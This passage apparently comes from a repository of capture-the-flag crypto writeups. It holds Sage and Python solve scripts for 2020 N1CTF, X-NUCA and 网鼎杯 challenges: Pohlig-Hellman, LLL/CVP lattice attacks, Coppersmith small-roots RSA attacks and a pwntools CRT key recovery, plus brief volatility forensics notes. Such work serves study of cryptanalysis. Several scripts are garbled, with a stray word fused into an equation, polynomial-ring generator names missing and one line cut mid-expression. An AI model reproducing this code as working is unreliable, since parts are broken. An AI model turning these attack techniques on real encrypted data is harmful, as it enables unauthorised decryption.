Gs.append(g) 48 | S_pubs.append(S_pub) 49 | R_pubs.append(R_pub) 50 | 51 | A = 45714287149662768031120362703352163808283687329364642685969786161037988402322 52 | B = 13490438512144550503686574382307330330369767336370722471096599302102081052907 53 | P = 84408463109891431539543683776163072259768663955147054397339555539484223860849 54 | g = (6570681797979574798980058367762289163101761416726999337302555519117884193133, 84131903756864767816718674235096921776761058318540805902656635647097220746176) 55 | S_pub = (13984502094770046374464253413876930620949304198826997187733768160077642199799, 76189432959768786280656878273218310462258843058909625672800249356146578715552) 56 | R_pub = (66339630562478902835064454239513349141968311524235298057869638961815582849128, 69534588539297217995844040255917991799369119615551739810039109593443850878629) 57 | Ps.append(P) 58 | As.append(A) 59 | Bs.append(B) 60 | Gs.append(g) 61 | S_pubs.append(S_pub) 62 | R_pubs.append(R_pub) 63 | 64 | A = 62223277804445341254787981117021600074420157388064163010607145435104547417397 65 | B = 34707768442186125131806569005593351434199621336955141175747334384779700268005 66 | P = 89828857550588499041754475095787311033679358237685956741247265953298714723687 67 | g = (34259562830800168427768937337523005601956109650950692560887503779629450207546, 59537565415508947262456971121016634323997129438307627449854610945426322682741) 68 | S_pub = (18674993449005014174961788230324741554553064950594321248138769231475404529578, 59930549653627690834693291622117932519282699095911346563631008466579071303426) 69 | R_pub = (84427573767999694146343716722966630014125985662568809331346918240571426153974, 76200263668439011398104250477377669952492636799284201541132987822897834262205) 70 | Ps.append(P) 71 | As.append(A) 72 | Bs.append(B) 73 | Gs.append(g) 74 | S_pubs.append(S_pub) 75 | R_pubs.append(R_pub) 76 | 77 | A = 6337991232311655881887193909687709244219846533018968166917954811344714846066 78 | B = 78122417324315819522754419456195999300938035298934025516545906232290029817169 79 | P = 82544632586959503132766613901425519954811832603382905418700501867183631299857 80 | g = (61666697446814016414589934733724006272024805116115169616762303794869830135004, 59765716632865814863135920288941972023872535929772755998052459642763576842072) 81 | S_pub = (14257092299382249876113216794843385700363061125668985733880785860525545219476, 18042157168209341016333130324332590121081457687400293942816847797124074413866) 82 | R_pub = (80496585248649931726055729281461283918359195227194884653047120814020506698876, 49260872234715775168440284736509529858327755952997635954628424325517623888795) 83 | Ps.append(P) 84 | As.append(A) 85 | Bs.append(B) 86 | Gs.append(g) 87 | S_pubs.append(S_pub) 88 | R_pubs.append(R_pub) 89 | 90 | A = 7403894190458165962231103292957170939506045762430202131193681466982830965756 91 | B = 28082358492257355502989846048067008405688147223381838582915838704597222383734 92 | P = 73686745743965275836733554459385219570128908432394569325825918375480977933431 93 | g = (46903230973099695924304295095696738305010395820826985689804239955539011384634, 69482437544400948021814998583755682054581126133090152647261459868866067367682) 94 | S_pub = (29313916694388937464203037295444584421266117814196799108742785455912142615392, 20695090655307032585729557746989704351847975924796772990704232701677433061651) 95 | R_pub = (29026045737941774790225880629738838945562985655792675197636939163425922027279, 5584630534514060042418045368230327886310494046416201051561254041131025362185) 96 | Ps.append(P) 97 | As.append(A) 98 | Bs.append(B) 99 | Gs.append(g) 100 | S_pubs.append(S_pub) 101 | R_pubs.append(R_pub) 102 | 103 | dlogs = [] 104 | primes = [] 105 | # The Pohlig-Hellman attack 106 | for i in range(7): 107 | E = EllipticCurve(FiniteField(Ps[i]),[As[i],Bs[i]]) 108 | factors, exponents = zip(*factor(E.order())) 109 | 110 | # assert Ps[i] != E.order() # Check Smart's Attack where #E(Fp) = p 111 | 112 | P = E.point(Gs[i]) 113 | Q = E.point(S_pubs[i]) 114 | factors, exponents = zip(*factor(E.order())) 115 | prime = [factors[i] ^ exponents[i] for i in range(len(factors))][:-1] 116 | for fac in prime: 117 | if fac % 2 == 0 or fac in primes: 118 | continue 119 | if fac > 2**37: 120 | break 121 | t = int(P.order()) // int(fac) 122 | tQ = t*Q 123 | tP = t*P 124 | dlog = tP.discrete_log(tQ) 125 | dlogs += [dlog] 126 | primes += [fac] 127 | print("[+] factor: "+str(fac)+", Discrete Log: "+str(dlog)) 128 | secret = crt(dlogs,primes) 129 | print("[+] secret: ", secret) 130 | 131 | def receive(shared_secret, encrypted_msg): 132 | px = shared_secret.xy()[0] 133 | _hash = sha256(long_to_bytes(px)).digest() 134 | key = _hash[:16] 135 | iv = _hash[16:] 136 | msg = AES.new(key, AES.MODE_CBC, iv).decrypt(base64.b64decode(encrypted_msg)) 137 | print(msg) 138 | assert msg.startswith(b'Hi, here is your flag: ') 139 | 140 | encrypted_msg =[None for _ in range(7)] 141 | encrypted_msg[0] = b'AphuswakJ9tm3U4RgxglCND0791F19eDYXjolhKnePtSNScGR+0KDtZ30SEY5QTZvYak0pW2nACbUDIKAUsW7g==' 142 | encrypted_msg[1] = b'pLwfQu73KvkuKxtAX6sIfu6tw99n8LplGn+EskG5H/16Mta3MK1Qn7DjASQb6saI9C9kRxb0QbGsfXL91gjYjQ==' 143 | encrypted_msg[2] = b'TlqpzSuIDZGmNjOEkoEuRkzi0Nqrwnq2ANn/yrE3jPfj3kmEycnnN6miugEJ8cHI7f1xdb5GAOA8gOt2d7gKWg==' 144 | encrypted_msg[3] = b'bvVz/owqkE1ng3w0eKTM9g/UgYqVhmf8kiu1zqgOXDIbC2XkM6muWH8DcDKE62L+I4fmwxqJQUX+N+BZ9PnbfA==' 145 | encrypted_msg[4] = b'nER87UIiJmA4VldFuc4m89Q5IGWSVqYPJ5/WaKe5SgsRQLvxvSaAwjie3LAcZ7glsaXknKDuQqfDfs6+D6PlSg==' 146 | encrypted_msg[5] = b'0/+rIOFeezX/7QmYpUYCQpbtgzPTPYevlP6pxMt1iIPNY1erz+nHYzbvTnZe8EF5BK+2iSQ9+P7QfpHwzE+tSA==' 147 | encrypted_msg[6] = b'fYYFLvkUHhdXhn7d9SeBP27FINItbBFa2J/MSGhN82QnFoz1DJCIYbzIHVkTtoeMM77srcFMb9+YYk0nzqcvVg==' 148 | for i in range(0,7): 149 | E = EllipticCurve(FiniteField(Ps[i]),[As[i],Bs[i]]) 150 | P = E.point(Gs[i]) 151 | Q = E.point(S_pubs[i]) 152 | R = E.point(R_pubs[i]) 153 | shared_secret = secret*R 154 | receive(shared_secret,encrypted_msg[i]) 155 | #n1ctf{0ops_I_R3used_7h3_S4M3_Pr1vK3y} -------------------------------------------------------------------------------- /2020/X-NUCA-QUAL/diamond_solve.sage: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sage 2 | 3 | import os 4 | from hashlib import sha256 5 | from Crypto.Cipher import AES 6 | from sage.crypto.lwe import LWE 7 | from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler as DGDIS 8 | from sage.modules.free_module_integer import IntegerLattice 9 | from Crypto.Util.number import long_to_bytes 10 | from random import randint 11 | import sys 12 | from itertools import starmap 13 | from operator import mul 14 | 15 | # From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI 16 | def Babai_CVP(mat, target): 17 | M = IntegerLattice(mat, lll_reduce=True).reduced_basis 18 | G = M.gram_schmidt()[0] 19 | diff = target 20 | for i in reversed(range(G.nrows())): 21 | diff -= M[i] * ((diff * G[i]) / (G[i] * G[i])).round() 22 | return target - diff 23 | # import data 24 | # B_copy 25 | # M_copy 26 | # R_copy 27 | 28 | ct = long_to_bytes(ct) 29 | 30 | B = Matrix(7, 320,B_copy) 31 | M = Matrix(64, 25, M_copy) 32 | R = Matrix(65, 1, R_copy) 33 | 34 | # A = random_matrix(ZZ, 320, 5, x = 10, y = 1000) 35 | # B = Matrix(A * vector([randint(1, 2^1024) for _ in range(5)]) for _ in range(7)) 36 | # L = LWE(n = 25, q = 1000, D = DGDIS(3)) 37 | # S = [L() for _ in range(64)] 38 | # Error = [ZZ(a.dot_product(L._LWE__s) - c) for (a,c) in S] 39 | # M = Matrix(64, 25, [int(i).__xor__(int(j)) for i,j in zip(A.list(), (Matrix([x for x, _ in S])).list())]) 40 | # T = Matrix([randint(1, 2^1024) for _ in range(64)]) 41 | # R = T.transpose().stack(T * vector([y for _, y in S]).change_ring(ZZ)) 42 | 43 | res = B.LLL()[2:] 44 | got = 0 45 | out = [] 46 | for i in res: 47 | out.append(i) 48 | for i in range(4): 49 | for j in range(i+1, 5): 50 | out.append(res[i]-res[j]) 51 | out.append(res[j]-res[i]) 52 | out.append(res[j]+res[i]) 53 | tmp = [] 54 | for i in range(3): 55 | for j in range(i+1, 4): 56 | tmp.append(res[i]-res[j]) 57 | tmp.append(res[j]-res[i]) 58 | tmp.append(res[j]+res[i]) 59 | for k in range(j+1, 5): 60 | for idx in tmp: 61 | out.append(idx - res[k]) 62 | out.append(idx + res[k]) 63 | out.append(res[k] - idx) 64 | count = 0 65 | final = [] 66 | for i in out: 67 | if all([10<=k<=1000 for k in i]) and i not in final: 68 | final.append(i) 69 | count+=1 70 | nbit = 64 71 | T = Matrix(ZZ, nbit + 1, nbit + 1) 72 | for i in range(nbit): 73 | T[i, i] = 1 74 | for i in range(nbit): 75 | T[i, nbit] = R[i][0] 76 | T[nbit, nbit] = -int(R[nbit][0]) 77 | # get y 78 | y = T.LLL()[0][:-1] 79 | print(len(final)) 80 | assert len(final) == 5 #so lucky just combine 3 of columns and recover A 81 | import itertools 82 | index = 0 83 | b_values = y.list() 84 | 85 | for loop in (list(itertools.permutations(final,int(5)))): 86 | index+=1 87 | AA = Matrix(loop).transpose() 88 | x = Matrix(64, 25, [int(i).__xor__(int(j)) for i,j in zip(AA.list(), M.list())]) 89 | m = 64 90 | n = 25 91 | q = 1000 92 | A_values = x 93 | AAA = matrix(ZZ, m + n, m) 94 | for i in range(m): 95 | AAA[i, i] = q 96 | for i in range(m): 97 | for j in range(n): 98 | AAA[m + j, i] = A_values[i][j] 99 | target = vector(ZZ, b_values) 100 | res = Babai_CVP(AAA, target) 101 | R = IntegerModRing(q) 102 | MM = Matrix(R, A_values) 103 | ingredients = MM.solve_right(res) 104 | key = sha256(''.join(list(map(str, ingredients))).encode()).digest() 105 | iv = ct[:16] 106 | cipher = AES.new(key, AES.MODE_CBC, iv) 107 | pt = cipher.decrypt(ct[16:]) 108 | if b"X-NUCA" in pt: 109 | print(pt) 110 | # > X-NUCA{Wh4t_Tru1y_i5_l0giC?_Wh0_d3c1des_re4soN_12e8h8vbd82t4e6q} -------------------------------------------------------------------------------- /2020/X-NUCA-QUAL/weird_solve.sage: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sage 2 | 3 | e, n = (288969517294013178236187423377607850772706067194956328319540958788120421760563745859661120809993097599452236235703456953461446476016483100948287481999230043898368061651387268308645842547879026821842863879967704742559469599469159759360184157244907772315674219466971226019794131421405331578417729612598931842872757269134756215101980595515566901217084629217607502582265295755863799167702741408881294579819035951888562668951997777236828957162036234849207438819692480197365737237130918496390340939168630111890207700776894851839829623749822549994705192645373973493114436603297829506747411555800330860323339168875710029679, 6321130275268755691320586594611921079666212146561948694592313061609721619539590734495630218941969050343046016393977582794839173726817429324685098585960482266998399162720208269336303520478867387042992449850962809825380612709067651432344409349798118550026702892042869238047094344883994914342037831757447770321791092478847580639207346027164495372017699282907858775577530313354865815011726710796887715414931577176850854690237886239119894136091932619828539390021389626283175740389396541552356118540397518601098858527880603493380691706649684470530670258670128352699647582718206243920566184954440517665446820063779925391893) 4 | ct = (5899152272551058285195694254667877221970753694584926104666866605696215068207480540407327508300257676391022109169902014292744666257465490629821382573289737174334198164333033128913955350103258256280828114875165476209826215601196920761915628274301746678705023551051091500407363159529055081261677043206130866838451325794109635288399010815200512702451748093168790121961904783034526572263126354004237323724559882241164587153748688219172626902108911587291552030335170336301818195688699255375043513696525422124055880380071075595317183172843771015029292369558240259547938684717895057447152729328016698107789678823563841271755, 253027286530960212859400305369275200777004645361154014614791278682230897619117833798134983197915876185668102195590667437488411251835330785944874517235915807926715611143830896296709467978143690346677123639363900536537534596995622179904587739684155397043547262126131676366948937690378306959846311626889534352806134472610026603322329394769864728875293696851590640974817297099985799243285824842399573006841275494668451690794643886677303573329060084436896592291515021246248961538322485059619863786362159459122242131918702862396595818404578595841492379025543989260901540257216728185425462070297720884398220421012139424567) 5 | d = (((ct[1])**2 - 1) * inverse_mod(((ct[1])**2 + 1) * (ct[0])**2, n)) % n 6 | def multiply(P, n): 7 | Q = (0, 1) 8 | while n > 0: 9 | if n % 2 == 1: 10 | Q = add_points(Q, P) 11 | P = add_points(P, P) 12 | n = n//2 13 | return Q 14 | 15 | def add_points(ct, pt): 16 | # ax^2+y^2 = 1+dx^2y^2 # twisted Edwards curves 17 | # x3 = (x1*y2+y1*x2)/(1+d*x1*x2*y1*y2); 18 | # y3 = (y1*y2-a*x1*x2)/(1-d*x1*x2*y1*y2); 19 | return (int((ct[0] * pt[1] + ct[1] * pt[0]) * inverse_mod(1 + d * ct[0] * pt[0] * ct[1] * pt[1], n) % n), int((ct[1] * pt[1] + d * ct[0] * pt[0]) * inverse_mod(1 - d * ct[0] * pt[0] * ct[1] * pt[1], n) % n) ) 20 | if __name__ == "__main__": 21 | cf = continued_fraction(e / n).convergents() 22 | for f in cf: 23 | y = f.numer() 24 | x = f.denom() 25 | if gcd(x, y) == 1 and (x * y) < (int(sqrt(2 * n)) // 12) and x.nbits() > 505 and y.nbits() > 505: 26 | p_add_q = (x * e) // y - 1 - n 27 | lr = (p_add_q + int(sqrt(p_add_q * p_add_q - 4 * n))) // 2 28 | P. = PolynomialRing(Zmod(n), implementation='NTL') 29 | poly = lr + t 30 | x0 = poly.small_roots(X = 2 ** int(2048*0.21), beta = 0.41, epsilon = 0.03) 31 | if x0: 32 | p = int(gcd(lr+x0[0],n)) 33 | q = n//int(p) 34 | assert p*q == n 35 | k = inverse_mod(e, (p + 1) * (q + 1)) 36 | from Crypto.Util.number import long_to_bytes 37 | pt = multiply(ct, k) 38 | print(f"flag is :{long_to_bytes(pt[0])+long_to_bytes(pt[1])}") 39 | # > flag is :b'X-NUCA{Youve_Forg0tt3n_th3_t4ste_0f_Rea1_h0ney_6f36940f714710af}' -------------------------------------------------------------------------------- /2020/X-NUCA/crypto2.sage: -------------------------------------------------------------------------------- 1 | res_0 = 2 | 315908357321868458805557791667305043700697298635656824653149976856981411653705510108810011532380965537720832047507857028027448621258666099695112416973785321242066466757489138058457034551350941800121017876512423428531358743141557519984465369052578718209981027540884020781803136767043197796976568852597686647249 3 | res_1 = 4 | 24601229981708343641593860219312124957829969240623220414483811389669722660955082858445056154180530768730813231170651705320410774319433355470053396276113534407785231774125387350937069140412685895492006906399039186653333599740973632606734650574571069365666238033550897061875769204017335278686112958059310476955847708198336240643990778901050003791383108121475669875765408958286783324582739472643829303422723208692041505960050568853654859373897051124583876462511319501324607527518482736604012899707840208856940506206125362258301294280105527459732520912743431637234528325558855377095334339453185928526043112297382365837444 5 | p,r = var("p,r") 6 | print(solve([p+r==res_0PeepOpen*r==res_1],(p,r))) 7 | 8 | r = 9 | int(139291580376076179391338111037319435944131263959977414135594129751337940190499996465475379727068691498893798920756040764918590304753989210690043421819498481570586041593696711158584072944034931222651715839951631916732555474039625737823705180947627819359519039052933584851160911567202115949674624555176820738557) 10 | p = 11 | 176616776945792279414219680629985607756566034675679410517555847105643471463205513643334631805312274038827033126751816263108858316504676889005068995154286839671480425163792426899872961607316010577469302036560791511798803269101931782160760188104950898850461988487950435930642225199841081847301944297420865908692 12 | print(int(p).bit_length()) 13 | 14 | N = 15 | 2904138805837813727689293714466824893055819947585309821704066481538116813521272198884999843303882028838360405785402809104256524526274201717182822889281134271872021026381201258985419672951738723588692987409200023980473990245793399944532792145156412929274697322248431956387677742504573757484867035035723281415850925800803269524360786860463025145083461512609945698809513074328132185817328237267240923678126894737815301858364202433510904221096965254118512412953701059695200597164987634671583977805978593708171514709435228510505555750288662399412481348556012183415338777254911634932768707542923330346188726905409509033319664108934973835791386506352463635490733907534579247404880251937315396423264513773011905740843998738051947420963223422881648120752363205029802151223425253262529456188000840809744694085352974554014932133971387834995314445025436371328820591267675016660444570956489152224069149452589517840260069751189120209668813 16 | print(gcd(N,r)) 17 | nn = N//r 18 | q = nn//p 19 | # p = 0x00f23799c031b942026e420769b74d22fa2114428189139c43c366c6ab8367c6b3d6f821449aafb2058b0e6ed964fa0ad45fb306f96376e80823a72b58101919e50acad3b5e6d079e7ff9218ed6df6edbef536742714ce88b2e717f45af53ef0d04c89faf01c80b28e764973aba27726c85c0236e8756a865c03577722bac5e391 20 | # q = 0x00c9d24330fa4945cfe1e5d6912d6bde0231035a1cc8d8ae67d949347b895f8d579bce2adaf37c568957b17a6564dbf80d36d81e4622ab30e02132b0155aefbd3912a27c625a9b7b05bc72217039f5aa88c20cbf9871c3228e9d80d9106f94b11c1f50c40c96862b5cd6b6f781883dd2eff80a059d3ca027af6a03edeb34a7390f 21 | # n = p*q 22 | # e = 3 23 | ct = 24 | 1057052677162187340570375675671854189951275087311210822115370835825340654080069407860114732042635968624732859131573426193681536656009735289857647064336685253297230697513072539452477261451220954754715482160852326312596140234769688000805206320446164078025180568494702072020750241306594583860840650437027487493159460479660449791656757997874328669414406774286622550640928947772482804152427998648746988790244636631499935861776100226624121250824347571109498386673378987809180870017596685307887439986204881332794998766793217517016579226499036261333810712401811996468228401357689792303309135672149466928921930713788877781027039400691999572201301309943059158216256511204884958773683346991839452049050077369944427534534537873138423632425845802418856586467301233279442644695208493315659034471080450790463218067069902303530577266586682954745649183243828220035287269041119029686103641635096185290092011025201935452591924794887976579223098 25 | from Crypto.Util.number import * 26 | 27 | beta = 0.5 28 | PR. = PolynomialRing(Zmod(nn)) 29 | f = x + p 30 | x0 = f.small_roots(X=2^384, beta=0.3)[0] # find root < 2^kbits with factor >= n^0.3 31 | p = int(p + x0) 32 | print(p) 33 | nn = N//r 34 | q = int(nn//p) 35 | assert p*q*r==N 36 | phi = (p-1) * (q-1) * (r-1) 37 | e = 65537 38 | d = inverse(e, phi) 39 | print(long_to_bytes(pow(ct,d,N)))] -------------------------------------------------------------------------------- /2020/X-NUCA/down_jacket.sage: -------------------------------------------------------------------------------- 1 | # solved after the ctf. need to understand small roots and how to construct small number polynomials. 2 | N = 22162325516228645464615655061245473092136116786881925149483298798727453091248490986895977037121248103268792365405506564347340772747520269125056299001742555544578259703884716022154807698557136442299433692189336132144885444840306277896352952444030987472299196343936572617257293564420879382352166964501514648889823620102333051332629878779388408489014933018399418661117239218623199479635867250990569393229927298875552237158333176345722279090675304818515686072480269917927075372900585719150349749080299694632997515534564727633423300249908502406760542766194944815930529417504031904363129960085426117825849176254478060586931 3 | Zn = Zmod(N) 4 | R = PolynomialRing(Zn, 'X') 5 | X = R.gen() 6 | D = 2**200-1 7 | f = X - ((N*D)//2**1020) 8 | q = int(gcd(2**1020*f.small_roots(beta=0.5)[0] + (N*D)%2**1020, N)) 9 | p = N//int(q) 10 | assert p*q == N 11 | ct = 8186060928313885769354678890177557682243935865951044607355407913984325008023920945584264597263280967935647687700160509307248496739812183459202534578939332344555497039192482154454454693724934732638781142024771654013348648642499082193036949224447670228129979969117694429852741589119950416356994348682708492874142284908388037438369140565457777493450830563876462966292265931196660801502516897689751391765960508191378163119544460325276563310085601379452166782817827174037575737698149543116988313259276133731366502857183074145959510154283828002421804046801099174492012965473484884248558140227453340391094943731843975789177925400387372241152019649275229913543341746093922497898052852506478059072063926852811744655816363487222213207012607380600807768746700095000711742158417911014914189846384350955219828625304234335585908586629553669322091907404287881672871559196020118726918498760689771060155092872548879244294864435020178984782336214701184648562640656872682817499577830198899454451313073206095952393321962920998135893517825998093876887649578746492157643662288835198219659831380071029296803325375861569612599236263017093849004643747287733684627207715319677718992651240143169913967935168395366489186566966937247547180974471519149463681658482888358647047732895140992448097194799647921341157359477446581957560470722768846517984790535992021835977395036158326701392179053937952571207909055715251527231322810604942413763079355245377398589878159300812170976867101293252357533892366317940408665645988986718205869624564467875454218834820947331832134901823129740034013675233894409044759249522333893362317760311333958168280681392491183916349698206164724254137294914940030152915293854847041923690214918551522429470782087407403245117503084902852573000228107683470569557444688247627624782025858494228079912779858527726597078426292822549447430014572886118458954202651394 12 | phi = (p-1)*(q-1) 13 | print(long_to_bytes(((int(pow(ct,phi,N^3)-1)//N)*int(inverse_mod(phi,N)))%N)) 14 | #b'flag{alw4ys_LLL_109uj98s98121u9hsftyf463dgsydh}' -------------------------------------------------------------------------------- /2020/X-NUCA/down_jacket.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2020/X-NUCA/down_jacket.tar.gz -------------------------------------------------------------------------------- /2020/X-NUCA/leakage.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2020/X-NUCA/leakage.tar.gz -------------------------------------------------------------------------------- /2020/X-NUCA/lemon_sl.py: -------------------------------------------------------------------------------- 1 | # coding = utf-8 2 | 3 | from pwn import * 4 | from Crypto.Cipher import AES 5 | from Crypto.Util.number import long_to_bytes 6 | import gmpy2 7 | 8 | context.log_level = "debug" 9 | 10 | e_list = [5, 11 | 65537, 12 | 1139, 13 | 2021, 14 | 3, 15 | 1837, 16 | 65537, 17 | 11837, 18 | 5, 19 | 65537, 20 | 3] 21 | 22 | n_list = [ 23 | 20085052568147852471598372473264470697501771045504619616815664340999013414731478046362868365124727144304081259571201782408267159665245935237162159608435947430737456955535474594067900372529525638347834606321764494440201214634638809372393468248308521630529738581356863306630283307602547122404113808731591325535744285179868660528920057135055897892070148225358532138900282874490456210417764287147069279156948048712341156640337528949959575880557144190474916830647897584962291970788159105496656907288030013941266575915074489600920916943672459704257586206835864238818672075148783348547953164447964668921802373169604302686933, 24 | 16390682411951886186754084830985815576514032551945935370214767316202786788456760249459583233006617226228898431328519313108107957269240214770761882485091289625201385684462162988471186830340271753279372700307792303218231989177086880771431657602972879684684557932179570958044801544854166159074548204902813004667294600211728245424460590126879380427718624966744496952633572298765498600320167928489773272459565467377929012521155912401667871939984682411640505943621202594158284323446157332953067228687140784752595663577386067830947300478542823522576114195984382242946334498839697115237205030298204993018467751106463742599521, 25 | 27223099151900817063723439208481502144343560862477235015656641855026658236766847518312965884879375243003908810914771674726063403882631743956749779703420376347276354631977614751134501757729843066055071921909229584182450141239154208502663664191310714281143464752380740623319216688797023520420820108977773518501075204075649879888822500752758280292187851252990885265186595847888709247463638243479263073473653427597278570378674589626698569223043265892178744179376067235076502125095751808419448005171484228564018699255972680551607768558546679067081419177764516807408156848431240778744186927133753209269434808955842360325427, 26 | 13920050490293275240097109280896002309882326814413820013531762864744051151653887332274465367675374516171998790202567544463896400595922935103827133493367058387603156591186814003468271688840389984614393541598488081923876117278640011568112751472697603586387948788918075929709442323053765413673858142845730496904984015304227584643289329258431669274559992931942094759967803205522074898153367220469028328161228631778846507071969483907349942608002296151867143721506376160216282169682759863155103163337406542547542142928164476040864582057334267736209585832450468148706621332001720950833890399733719383394810342654732054355389, 27 | 14997542113406768800262678505698042231725368800111192297560877909705726911475152599429392736686969892190195670386428972855885315614329354858473477501508300293523006439107979887199071490028214205821218564924253328997461796380587296047470618750003565547785407726995876036010543676996107754948238641655104123670218140662697999823305269550762812223354423846152239470243995129752896219954738655329734481457632768847367494470259606805806899018576611686776852948262954595696659027752797538379698800803646301498698072329856608541154516867241749183948656225641988256738626835270975304771386823069129815908679173533537667236143, 28 | 18362679982654523311938247145266871122744447710761620235580571692812080931557822621328180078203133931777374433047065440858793026241162107502311963073430643550580057412762117200360003740045243710390287116208167945382111480786353263759974834183458715125369681143195867579759948366146094965595943426926043495458417195106318338470592639995373918953846168995314435583425560638317765718727988270821896599672264575657804250470222074008356753774231525313345255524883395902142788253692262687636197759444969752014799585208746579523020217320467274265220111297976902003900400102255879460568922366275944992711977473268709886211869, 29 | 20232725947908821183656155653495442327543980222068788212842702072213986635220978050405469732156316838184133620561244944416757518767167623675915104530277819923206332200023713983104410727240731307864662180820191563236130497980613873248108313207869136118066370471208740451943705560379551546259646295615671355463345912902611054028024982110404771112157357830200209216795112290774239945772914371494153430737971226257170457462914538984096942296432352537973187864499991789992201406712680092440631549833372792813875500588946495446289265095925034132994248252130459346887208652121143161633122018851224291343054209109646820437007, 30 | 10168641632499931313599418280467059602279446328885639224864055792713346564433152362171462706880506167520232928684723554106293258933265582467134023192616783048462380188251691060554365350954929029856834489921831153821846252979755748755029190830564192715710244634825386121760968289631909772235470206250133776790190034144266455864783140594766630676150283716104679320400428773991422403321984722012660544270973220008622791160014253905504914275349327215622932418605749397880287808711842334714464023882748158069796909674625327892781808394281008584792941134746411692079469295028346075197306271518140064201281162246772675091173, 31 | 20339138091988605169748601621008581098067312915335702741683296848558869639640663577561981959892534294012881404066776126420540048242943522333212661657625949296866970422290745905383027223586050071349805123795608957724989346831043592969420474790289005033336710623464679561251449642764506177316592802980705340326133484089235877553372126333478255030354608441128688803591646005916097124691097190570648927691266100757932307181010470351134974167972469127641279004889721290982067039643588857026878737085463921965890749980726920098705496419398797798219484586719816259278568902544540412113263722262547692467979405080010610037873, 32 | 22376268675053065467497277870913336477066494045667012766150716306233301611894798541036002001261864354299352862407850002106262794736723164891579180208363615097717426403635378405030789864583422243435210695536395185682932041139025801021115082818937231210257716638257295622683644088592889773753878686396511613719041254517335198685699920627571746743821296368864570680272046772912317343830696160010470942668000230252416502322890176263678348730171241196578082007809329302665442490311777981270656271478576371999109256278402146680031726780306806551941688447439518866585520001186921117067680021413550441943970461816204663267227, 33 | 12967959209067922454945251236897307909017233329152956123986340335469496214323692845445549614575661485498606365336104156968021893730938954455773203169332047024104889317141913384516037023463537387481180221013451642974120862473292679256290365788499008038196934935329279303392188972626528651856312570866775813560195950533727183158759728123282543351841799012242383408270806584497431938765912154113625657648218078384169657726055088022264250182646362174577072362455400480811157058303550311067133355599577710702917264938131011140879081322149967649896436577287555752517161823226931830440812245959346323636803069058207871186621, 34 | ] 35 | p = process("./lemonade") 36 | 37 | def mode_1(): 38 | p.sendlineafter(b">", b"1") 39 | flag_enc = p.recvline().decode().strip() 40 | return long_to_bytes(int(flag_enc,16)) 41 | 42 | def mode_2(): 43 | p.sendlineafter(b">", b"2") 44 | ''' 45 | import tty 46 | p.send(chr(tty.CEOF)) #\x04 this only work on process("./program"), not work on sockets Ctrl-D) 47 | #https://stackoverflow.com/questions/4160347/close-vs-shutdown-socket 48 | ''' 49 | p.shutdown(direction="send") #socket send EOF close the tube for futher reading or writing depending on `direction` 50 | key_enc_e8 = int(p.recvline().decode().strip(),16) 51 | key_enc_e10 = int(p.recvline().decode().strip(),16) 52 | return key_enc_e8 53 | def mode_3(): 54 | p.sendlineafter(b">", b"3") 55 | key_enc_e1 = p.recvline().decode().strip() 56 | return int(key_enc_e1,16) 57 | 58 | from functools import reduce 59 | def crt(n_list, a_list): 60 | rst = 0 61 | prod = reduce(lambda a, b:a*b,n_list) 62 | for n_i, a_i in zip(n_list,a_list): 63 | p = prod//n_i 64 | rst+=a_i*int(gmpy2.invert(p,n_i))*p 65 | return int(rst%prod) 66 | 67 | flag_enc = mode_1() 68 | key_enc_e1 = mode_3() 69 | key_enc_e8 = mode_2() 70 | 71 | p.close() 72 | 73 | key5 = crt([n_list[0],n_list[8]],[key_enc_e1,key_enc_e8]) 74 | key = long_to_bytes(int(gmpy2.iroot(key5,5)[0]))[:32] 75 | cipher= AES.new(key,AES.MODE_ECB) 76 | print(cipher.decrypt(flag_enc)) 77 | 78 | -------------------------------------------------------------------------------- /2020/X-NUCA/lemonade: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2020/X-NUCA/lemonade -------------------------------------------------------------------------------- /2020/网鼎杯/solve_wa.sage: -------------------------------------------------------------------------------- 1 | from sage.all import * 2 | from Crypto.Util.number import long_to_bytes,bytes_to_long 3 | import uuid 4 | hlen=lambda x:len(hex(x)[2:].strip('L')) 5 | 6 | def ntopoly(npoly): 7 | return sum(c*X**e for e, c in enumerate(Integer(npoly).bits())) 8 | 9 | def polyton(poly): 10 | if not hasattr(poly, 'list'): 11 | poly = poly.polynomial() 12 | a = poly.list() 13 | return sum(int(a[i])*(1 << i) for i in range(len(a))) 14 | 15 | def process(m): 16 | return polyton((ntopoly(m)**2)) 17 | 18 | def calc(m,p): 19 | res=0 20 | lens=hlen(p) 21 | for i in bin(m)[2:]: 22 | res*=2 23 | res^^=m if i=='1' else 0 24 | res^^=p if hlen(res) == lens else 0 25 | return res 26 | 27 | def enc(flag): 28 | r = 4 29 | cts = [] 30 | for i in range(4): 31 | cts.append(calc(bytes_to_long(flag[:r]),0x8025 + (1< = PolynomialRing(Zmod(q), implementation='NTL') 34 | f = a^2 - m_2 35 | result_a = [int(i[0]) for i in f.monic().roots()] 36 | 37 | P. = PolynomialRing(Zmod(qq), implementation='NTL') 38 | f = b^2 - m_2 39 | result_b = [int(i[0]) for i in f.monic().roots()] 40 | for i in result_a: 41 | for j in result_b: 42 | flag = long_to_bytes(crt([int(i),int(j)],[q,qq])) 43 | print(flag) 44 | ``` 45 | 46 | ## crypto2 47 | 48 | just do `bit flip` on username and last bits 49 | 50 | ## misc1 51 | 52 | 颜文字加密,[LSB with aes-cbc](https://github.com/livz/cloacked-pixel/blob/master/crypt.py) (from file description) (password is at the end of flag.zip) 53 | 54 | aes-cbc decrypt again (48bytes -> 32bytes flag) 55 | 56 | ## misc2 57 | 58 | `磁盘取证分析` 59 | 60 | 0. get hint by `psscan` WinRAR.exe process. so `python ~/ctf/tools/volatility/vol.py -f becarful --profile=WinXPSP2x86 filescan |grep "zip"` -> `\Device\HarddiskVolume1\Program Files\f1@g.zip` 61 | 1. `python ~/ctf/tools/volatility/vol.py -f becarful --profile=WinXPSP2x86 clipboard` get password of `f1@g.zip` `good_job_guys` 62 | 